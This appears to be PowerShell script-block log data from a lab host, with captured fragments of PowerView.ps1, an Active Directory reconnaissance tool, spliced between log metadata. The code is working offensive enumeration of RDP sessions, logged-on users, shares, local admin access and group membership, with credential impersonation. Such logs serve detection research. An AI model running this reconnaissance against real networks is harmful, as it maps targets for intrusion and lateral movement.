"[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetRDPSession { <# .SYNOPSIS Returns remote desktop/session information for the local (or a remote) machine. Note: only members of the Administrators or Account Operators local group can successfully execute this functionality on a remote target. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation Win32API calls to query a given RDP remote service for active sessions and originating IPs. This is a replacement for qwinsta. .PARAMETER ComputerName Specifies the hostname to query for active sessions (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetRDPSession Returns active RDP/terminal sessions on the local host. .EXAMPLE Get-NetRDPSession -ComputerName "sqlserver" Returns active RDP/terminal sessions on the 'sqlserver' host. .EXAMPLE Get-DomainController | Get-NetRDPSession Returns active RDP/terminal sessions on all domain controllers. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetRDPSession -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.RDPSessionInfo A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, with the ComputerName added. .LINK https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx #> [OutputType('PowerView.RDPSessionInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # open up a handle to the Remote Desktop Session host $Handle = $Wtsapi32::WTSOpenServerEx($Computer) # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { # arguments for WTSEnumerateSessionsEx $ppSessionInfo = [IntPtr]::Zero $pCount = 0 # get information on all current sessions $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() # locate the offset of the initial intPtr $Offset = $ppSessionInfo.ToInt64() if (($Result -ne 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $WTS_SESSION_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $pCount); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 $RDPSession = New-Object PSObject if ($Info.pHostName) { $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName } else { # if no hostname returned, use the specified hostname $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer } $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { # if a domain isn't returned just use the username $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" } else { $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" } $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID $RDPSession | Add-Member Noteproperty 'State' $Info.State $ppBuffer = [IntPtr]::Zero $pBytesReturned = 0 # query for the source client IP with WTSQuerySessionInformation # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result2 -eq 0) { Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" } else { $Offset2 = $ppBuffer.ToInt64() $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS $SourceIP = $Info2.Address if ($SourceIP[2] -ne 0) { $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] } else { $SourceIP = $Null } $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') $RDPSession # free up the memory buffer $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) $Offset += $Increment } } # free up the memory result buffer $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } else { Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } # close off the service handle $Null = $Wtsapi32::WTSCloseServer($Handle) } else { Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Test-AdminAccess { <# .SYNOPSIS Tests if the current user has administrative access to the local (or a remote) machine. Idea stolen from the local_admin_search_enum post module in Metasploit written by: 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will use the OpenSCManagerW Win32API call to establish a handle to the remote host. If this succeeds, the current user context has local administrator acess to the target. .PARAMETER ComputerName Specifies the hostname to check for local admin access (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Test-AdminAccess -ComputerName sqlserver Returns results indicating whether the current user has admin access to the 'sqlserver' host. .EXAMPLE Get-DomainComputer | Test-AdminAccess Returns what machines in the domain the current user has access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Test-AdminAccess -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.AdminAccess A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether the current user has local admin rights, along with the ComputerName added. .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.AdminAccess')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() $IsAdmin = New-Object PSObject $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { $Null = $Advapi32::CloseServiceHandle($Handle) $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True } else { Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False } $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') $IsAdmin } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetComputerSiteName { <# .SYNOPSIS Returns the AD site where the local (or a remote) machine resides. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will use the DsGetSiteName Win32API call to look up the name of the site where a specified computer resides. .PARAMETER ComputerName Specifies the hostname to check the site for (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local Returns the site for WINDOWS1.testlab.local. .EXAMPLE Get-DomainComputer | Get-NetComputerSiteName Returns the sites for every machine in AD. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred .OUTPUTS PowerView.ComputerSite A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. #> [OutputType('PowerView.ComputerSite')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # if we get an IP address, try to resolve the IP to a hostname if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { $IPAddress = $Computer $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName } else { $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress } $PtrInfo = [IntPtr]::Zero $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) $ComputerSite = New-Object PSObject $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress if ($Result -eq 0) { $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename } else { Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" $ComputerSite | Add-Member 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2941 $Member = New-Object PSObject $Member | Add-Member Noteproperty 'ComputerName' $Computer $Member | Add-Member Noteproperty 'GroupName' $GroupName $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname $Member | Add-Member Noteproperty 'SID' $SidString $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') $Member | Add-Member Noteproperty 'IsGroup' $IsGroup $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') $Members += $Member } } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) # try to extract out the machine SID by using the -500 account as a reference $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID if ($MachineSid) { $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) $Members | ForEach-Object { if ($_.SID -match $MachineSid) { $_ | Add-Member Noteproperty 'IsDomain' $False } else { $_ | Add-Member Noteproperty 'IsDomain' $True } } } else { $Members | ForEach-Object { if ($_.SID -notmatch 'S-1-5-21') { $_ | Add-Member Noteproperty 'IsDomain' $False } else { $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' } } } $Members } else { Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { # otherwise we're using the WinNT service provider try { $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" $GroupProvider.psbase.Invoke('Members') | ForEach-Object { $Member = New-Object PSObject $Member | Add-Member Noteproperty 'ComputerName' $Computer $Member | Add-Member Noteproperty 'GroupName' $GroupName $LocalUser = ([ADSI]$_) $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') $IsGroup = ($LocalUser.SchemaClassName -like 'group') if(([regex]::Matches($AdsPath, '/')).count -eq 1) { # DOMAIN\user $MemberIsDomain = $True $Name = $AdsPath.Replace('/', '\') } else { # DOMAIN\machine\user $MemberIsDomain = $False $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') } $Member | Add-Member Noteproperty 'AccountName' $Name $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) $Member | Add-Member Noteproperty 'IsGroup' $IsGroup $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain # if ($MemberIsDomain) { # # translate the binary sid to a string # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) # $Member | Add-Member Noteproperty 'Description' '' # $Member | Add-Member Noteproperty 'Disabled' '' # if ($IsGroup) { # $Member | Add-Member Noteproperty 'LastLogin' '' # } # else { # try { # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') # } # catch { # $Member | Add-Member Noteproperty 'LastLogin' '' # } # } # $Member | Add-Member Noteproperty 'PwdLastSet' '' # $Member | Add-Member Noteproperty 'PwdExpired' '' # $Member | Add-Member Noteproperty 'UserFlags' '' # } # else { # # translate the binary sid to a string # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) # if ($IsGroup) { # $Member | Add-Member Noteproperty 'PwdLastSet' '' # $Member | Add-Member Noteproperty 'PwdExpired' '' # $Member | Add-Member Noteproperty 'UserFlags' '' # $Member | Add-Member Noteproperty 'Disabled' '' # $Member | Add-Member Noteproperty 'LastLogin' '' # } # else { # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) # # UAC flags of 0x2 mean the account is disabled # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) # try { # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) # } # catch { # $Member | Add-Member Noteproperty 'LastLogin' '' # } # } # } $Member } } catch { Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" } } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetShare { <# .SYNOPSIS Returns open shares on the local (or a remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the NetShareEnum Win32API call to query a given host for open shares. This is a replacement for "net share \\hostname". .PARAMETER ComputerName Specifies the hostname to query for shares (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetShare Returns active shares on the local host. .EXAMPLE Get-NetShare -ComputerName sqlserver Returns active shares on the 'sqlserver' host .EXAMPLE Get-DomainComputer | Get-NetShare Returns all shares for all computers in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetShare -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.ShareInfo A PSCustomObject representing a SHARE_INFO_1 structure, including the name/type/remark for each share, with the ComputerName added. .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.ShareInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # arguments for NetShareEnum $QueryLevel = 1 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get the raw share information $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $SHARE_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SHARE_INFO_1 # return all the sections of the structure - have to do it this way for V2 $Share = $Info | Select-Object * $Share | Add-Member Noteproperty 'ComputerName' $Computer $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $Share } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetLoggedon { <# .SYNOPSIS Returns users logged on the local (or a remote) machine. Note: administrative rights needed for newer Windows OSes. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the NetWkstaUserEnum Win32API call to query a given host for actively logged on users. .PARAMETER ComputerName Specifies the hostname to query for logged on users (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetLoggedon Returns users actively logged onto the local host. .EXAMPLE Get-NetLoggedon -ComputerName sqlserver Returns users actively logged onto the 'sqlserver' host. .EXAMPLE Get-DomainComputer | Get-NetLoggedon Returns all logged on users for all computers in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetLoggedon -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.LoggedOnUserInfo A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.LoggedOnUserInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # declare the reference variables $QueryLevel = 1 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get logged on user information $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $WKSTA_USER_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 # return all the sections of the structure - have to do it this way for V2 $LoggedOn = $Info | Select-Object * $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $LoggedOn } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetSession { <# .SYNOPSIS Returns session information for the local (or a remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the NetSessionEnum Win32API call to query a given host for active sessions. .PARAMETER ComputerName Specifies the hostname to query for sessions (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetSession Returns active sessions on the local host. .EXAMPLE Get-NetSession -ComputerName sqlserver Returns active sessions on the 'sqlserver' host. .EXAMPLE Get-DomainController | Get-NetSession Returns active sessions on all domain controllers. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetSession -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.SessionInfo A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including the CName/UserName/Time/IdleTime for each session, with the ComputerName added. .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.SessionInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # arguments for NetSessionEnum $QueryLevel = 10 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get session information $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $SESSION_INFO_10::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SESSION_INFO_10 # return all421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local2841rtFrom-SID .DESCRIPTION Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller using Get-DomainGPO. .PARAMETER Domain The domain to query for default policies, defaults to the current domain. .PARAMETER Policy Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies. Otherwise queries for the particular GPO name or GUID. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainPolicyData Returns the default domain policy for the current domain. .EXAMPLE Get-DomainPolicyData -Domain dev.testlab.local Returns the default domain policy for the dev.testlab.local domain. .EXAMPLE Get-DomainGPO | Get-DomainPolicy Parses any GptTmpl.infs found for any policies in the current domain. .EXAMPLE Get-DomainPolicyData -Policy DC -Domain dev.testlab.local Returns the policy for the dev.testlab.local domain controller. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainPolicyData -Credential $Cred .OUTPUTS Hashtable Ouputs a hashtable representing the parsed GptTmpl.inf file. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Source', 'Name')] [String] $Policy = 'Domain', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ConvertArguments = @{} if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain $ConvertArguments['Domain'] = $Domain } if ($Policy -eq 'All') { $SearcherArguments['Identity'] = '*' } elseif ($Policy -eq 'Domain') { $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' } elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' } else { $SearcherArguments['Identity'] = $Policy } $GPOResults = Get-DomainGPO @SearcherArguments ForEach ($GPO in $GPOResults) { # grab the GptTmpl.inf file and parse it $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" $ParseArgs = @{ 'GptTmplPath' = $GptTmplPath 'OutputObject' = $True } if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } # parse the GptTmpl.inf Get-GptTmpl @ParseArgs | ForEach-Object { $_ | Add-Member Noteproperty 'GPOName' $GPO.name $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname $_ } } } } ######################################################## # # Functions that enumerate a single host, either through # WinNT, WMI, remote registry, or API calls # (with PSReflect). # ######################################################## function Get-NetLocalGroup { <# .SYNOPSIS Enumerates the local groups on the local (or remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function will enumerate the names and descriptions for the local groups on the current, or remote, machine. By default, the Win32 API call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider to be used instead, which returns group SIDs along with the group names and descriptions/comments. .PARAMETER ComputerName Specifies the hostname to query for sessions (also accepts IP addresses). Defaults to the localhost. .PARAMETER Method The collection method to use, defaults to 'API', also accepts 'WinNT'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to a remote machine. Only applicable with "-Method WinNT". .EXAMPLE Get-NetLocalGroup ComputerName GroupName Comment ------------ --------- ------- WINDOWS1 Administrators Administrators have comple... WINDOWS1 Backup Operators Backup Operators can overr... WINDOWS1 Cryptographic Operators Members are authorized to ... ... .EXAMPLE Get-NetLocalGroup -Method Winnt ComputerName GroupName GroupSID Comment ------------ --------- -------- ------- WINDOWS1 Administrators S-1-5-32-544 Administrators hav... WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... ... .EXAMPLE Get-NetLocalGroup -ComputerName primary.testlab.local ComputerName GroupName Comment ------------ --------- ------- primary.testlab.local Administrators Administrators have comple... primary.testlab.local Users Users are prevented from m... primary.testlab.local Guests Guests have the same acces... primary.testlab.local Print Operators Members can administer dom... primary.testlab.local Backup Operators Backup Operators can overr... .OUTPUTS PowerView.LocalGroup.API Custom PSObject with translated group property fields from API results. PowerView.LocalGroup.WinNT Custom PSObject with translated group property fields from WinNT results. .LINK https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LocalGroup.API')] [OutputType('PowerView.LocalGroup.WinNT')] [CmdletBinding()] Param( 